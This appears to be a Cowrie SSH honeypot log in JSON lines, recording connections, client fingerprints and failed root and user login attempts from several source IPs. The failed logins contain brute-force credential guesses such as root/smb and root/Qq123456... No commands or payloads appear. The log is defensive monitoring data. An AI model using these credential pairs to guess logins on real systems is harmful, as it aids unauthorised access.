{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:48:d8:7a:90:db:db:69:7a:a2:e5:1e:39:b3:e8:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsXDYm4ZCiu3gZViAnT8ffai5UyeNpWqDbSta33Yg1jB/I4sHztvbdRpYnSU0cIoZyGfvM+HSSLyn2zwVoSFp/ZwK83Hl45ZrXcOH2dy6bbDiyE+w6VAw2Zj/RsgTzO9p/vVMDzm6abvyK4li7OvKONzXMYvuizluRe7ekN0zSx+YMp/oIgV8I+30iJ2y/ezGeHwkwl5O4yMtj8OSBiRtot/EBjHzDP6zoX182JExi7/5UGnHTfdAussCJF75qFl0YZz0D5yajiM3BS21hvdV22nCN+32XpYqdCw41tAmDjcvzf/wZz5FhW2bErCNeuRAb+uh/PHBaTFa1Yba86/fsskeiLmSQVT/a6PopZaPPowMSha/lAsAOKSpESc1aELNdcm36vauZL6sbS1Z+qWVlQdhQG+BFdaWEJyALlAvCvNR0WTW+5YK3dPtkQ778YVQNZ4BjWHsTd+tedIR7sPe/UBkQjYieWanFzPglMjDjfn0aHmRKItmhuH2+yyIACBcMNlERXtJ+62lPKIewllgHxEKMqHZ6NXOqaIFMz00L06nYStWCK5iQVdCg351gMaN3j141NMq8SUHIWs6b9BIIaocz9mnAxm4436cmwYgdW297zwMqZpEwKUvJgMO/Q3oWwrepd3iJqJBayUmWXlb2o8sWf/XAkk1+mW4MzPGrgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:48:d8:7a:90:db:db:69:7a:a2:e5:1e:39:b3:e8:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.422289Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:48:d8:7a:90:db:db:69:7a:a2:e5:1e:39:b3:e8:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsXDYm4ZCiu3gZViAnT8ffai5UyeNpWqDbSta33Yg1jB/I4sHztvbdRpYnSU0cIoZyGfvM+HSSLyn2zwVoSFp/ZwK83Hl45ZrXcOH2dy6bbDiyE+w6VAw2Zj/RsgTzO9p/vVMDzm6abvyK4li7OvKONzXMYvuizluRe7ekN0zSx+YMp/oIgV8I+30iJ2y/ezGeHwkwl5O4yMtj8OSBiRtot/EBjHzDP6zoX182JExi7/5UGnHTfdAussCJF75qFl0YZz0D5yajiM3BS21hvdV22nCN+32XpYqdCw41tAmDjcvzf/wZz5FhW2bErCNeuRAb+uh/PHBaTFa1Yba86/fsskeiLmSQVT/a6PopZaPPowMSha/lAsAOKSpESc1aELNdcm36vauZL6sbS1Z+qWVlQdhQG+BFdaWEJyALlAvCvNR0WTW+5YK3dPtkQ778YVQNZ4BjWHsTd+tedIR7sPe/UBkQjYieWanFzPglMjDjfn0aHmRKItmhuH2+yyIACBcMNlERXtJ+62lPKIewllgHxEKMqHZ6NXOqaIFMz00L06nYStWCK5iQVdCg351gMaN3j141NMq8SUHIWs6b9BIIaocz9mnAxm4436cmwYgdW297zwMqZpEwKUvJgMO/Q3oWwrepd3iJqJBayUmWXlb2o8sWf/XAkk1+mW4MzPGrgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.426023Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:25:e3:b5:e7:70:f3:70:7e:55:d8:12:45:19:92:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFLpBTgeRpyuXy/0zVWvEYsMyhtiqUwyu5M/SH9pDWkEmP0AbuUMqKa68hqNX/P9kMp6UJwE1mPchc5J11eoDnVMY0070mot+c4ZhB1c+a70pt/3kDQq08/wVRR4NRKcm1ZJdJfxZGq19L/xuDqRrjRFC6rvXzHdoRuPYM34Zu8tUbp8md0CtZRm4aeKZyjpXhk9jlUrZhqF+y962JSEIGaJASz+pzpaVuJn7CZNV/qs5z2mEOkMZYU5cUo+mWWlWTIY1E9qHwXEvNKDr8aaAfpmpF0oKSRXm7ypNZ/i5+5sA2979t6IHItl0OCxN2g5ZbIFySF/A8WKAD07j1Xa37uQjRH0Edy5Fzn0280RqaXiFHB7CxDL+wWGI4KVfBe4/O1YcnMAgRYOuFA/9+8ZRUddkMVqTy61qTJ0ci8A6TkQ5cerKunOPRlz1Kk519i0Cp1kuEGuJO0jNG9k4Y9qygZHLzUVEgYWl5rKslVTG//Ta+iAOSbJk1V95Z6KAF2B1pMuuRwK/Dw/1O7VYgg8yI2Vd58FSpEq6YD1Qa3yu7p+9C1dIT35Bzf/EpMehrMgfp+7ogPi+egowi2Z6TXVgmoWHjiYKmevNMKlXhQGOiiSGYV54Zzoph8Nw4mqiLof2CevrH0KsQv4hExwCp5vARhSx84l7q5UjxDqNyqRq9OQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:25:e3:b5:e7:70:f3:70:7e:55:d8:12:45:19:92:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.495572Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:25:e3:b5:e7:70:f3:70:7e:55:d8:12:45:19:92:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFLpBTgeRpyuXy/0zVWvEYsMyhtiqUwyu5M/SH9pDWkEmP0AbuUMqKa68hqNX/P9kMp6UJwE1mPchc5J11eoDnVMY0070mot+c4ZhB1c+a70pt/3kDQq08/wVRR4NRKcm1ZJdJfxZGq19L/xuDqRrjRFC6rvXzHdoRuPYM34Zu8tUbp8md0CtZRm4aeKZyjpXhk9jlUrZhqF+y962JSEIGaJASz+pzpaVuJn7CZNV/qs5z2mEOkMZYU5cUo+mWWlWTIY1E9qHwXEvNKDr8aaAfpmpF0oKSRXm7ypNZ/i5+5sA2979t6IHItl0OCxN2g5ZbIFySF/A8WKAD07j1Xa37uQjRH0Edy5Fzn0280RqaXiFHB7CxDL+wWGI4KVfBe4/O1YcnMAgRYOuFA/9+8ZRUddkMVqTy61qTJ0ci8A6TkQ5cerKunOPRlz1Kk519i0Cp1kuEGuJO0jNG9k4Y9qygZHLzUVEgYWl5rKslVTG//Ta+iAOSbJk1V95Z6KAF2B1pMuuRwK/Dw/1O7VYgg8yI2Vd58FSpEq6YD1Qa3yu7p+9C1dIT35Bzf/EpMehrMgfp+7ogPi+egowi2Z6TXVgmoWHjiYKmevNMKlXhQGOiiSGYV54Zzoph8Nw4mqiLof2CevrH0KsQv4hExwCp5vARhSx84l7q5UjxDqNyqRq9OQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.499246Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.571815Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":34388,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7e3b722176f","protocol":"ssh","message":"New connection: 45.61.187.220:34388 (159.203.135.109:22) [session: a7e3b722176f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:20.595531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:20.602229Z","src_ip":"45.61.187.220","session":"a7e3b722176f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:20.647379Z","src_ip":"45.61.187.220","session":"a7e3b722176f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234","message":"login attempt [test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:20.828721Z","src_ip":"45.61.187.220","session":"a7e3b722176f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:21.883963Z","src_ip":"45.61.187.220","session":"a7e3b722176f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":54736,"dst_ip":"10.17.0.5","dst_port":22,"session":"862c0ede2920","protocol":"ssh","message":"New connection: 92.191.96.70:54736 (10.17.0.5:22) [session: 862c0ede2920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:21.934342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:21.938613Z","src_ip":"92.191.96.70","session":"862c0ede2920","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:22.061609Z","src_ip":"92.191.96.70","session":"862c0ede2920","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2091","message":"login attempt [root/2091] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:22.591464Z","src_ip":"92.191.96.70","session":"862c0ede2920","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:23.723131Z","src_ip":"92.191.96.70","session":"862c0ede2920","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":44084,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2dd2e6e1122","protocol":"ssh","message":"New connection: 81.192.46.49:44084 (159.203.135.109:22) [session: f2dd2e6e1122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:27.035045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:27.039420Z","src_ip":"81.192.46.49","session":"f2dd2e6e1122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:27.154571Z","src_ip":"81.192.46.49","session":"f2dd2e6e1122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smb","message":"login attempt [root/smb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:27.646421Z","src_ip":"81.192.46.49","session":"f2dd2e6e1122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:28.765088Z","src_ip":"81.192.46.49","session":"f2dd2e6e1122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":2739,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ad73234792f","protocol":"ssh","message":"New connection: 175.107.32.186:2739 (10.17.0.5:22) [session: 2ad73234792f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:34.268648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:34.273229Z","src_ip":"175.107.32.186","session":"2ad73234792f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:34.496590Z","src_ip":"175.107.32.186","session":"2ad73234792f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"traxdata","message":"login attempt [root/traxdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:35.423609Z","src_ip":"175.107.32.186","session":"2ad73234792f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:36.650298Z","src_ip":"175.107.32.186","session":"2ad73234792f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":59058,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc3fb9622073","protocol":"ssh","message":"New connection: 185.153.231.45:59058 (159.203.135.109:22) [session: dc3fb9622073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:40.345595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:40.350720Z","src_ip":"185.153.231.45","session":"dc3fb9622073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:40.480619Z","src_ip":"185.153.231.45","session":"dc3fb9622073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456..","message":"login attempt [root/Qq123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:41.033965Z","src_ip":"185.153.231.45","session":"dc3fb9622073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:42.167465Z","src_ip":"185.153.231.45","session":"dc3fb9622073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":33146,"dst_ip":"10.17.0.5","dst_port":22,"session":"03673788e049","protocol":"ssh","message":"New connection: 159.195.79.219:33146 (10.17.0.5:22) [session: 03673788e049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:43.891915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:43.897201Z","src_ip":"159.195.79.219","session":"03673788e049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:43.987361Z","src_ip":"159.195.79.219","session":"03673788e049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:44.385731Z","src_ip":"159.195.79.219","session":"03673788e049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:45.480441Z","src_ip":"159.195.79.219","session":"03673788e049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.119.33","src_port":51838,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a12dd00a55","protocol":"ssh","message":"New connection: 64.188.119.33:51838 (159.203.135.109:22) [session: 84a12dd00a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:55.163367Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:55.168734Z","src_ip":"64.188.119.33","session":"84a12dd00a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":46710,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2771098554e","protocol":"ssh","message":"New connection: 107.0.200.227:46710 (159.203.135.109:22) [session: f2771098554e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:55.879371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:55.885206Z","src_ip":"107.0.200.227","session":"f2771098554e","protocol":"ssh"}
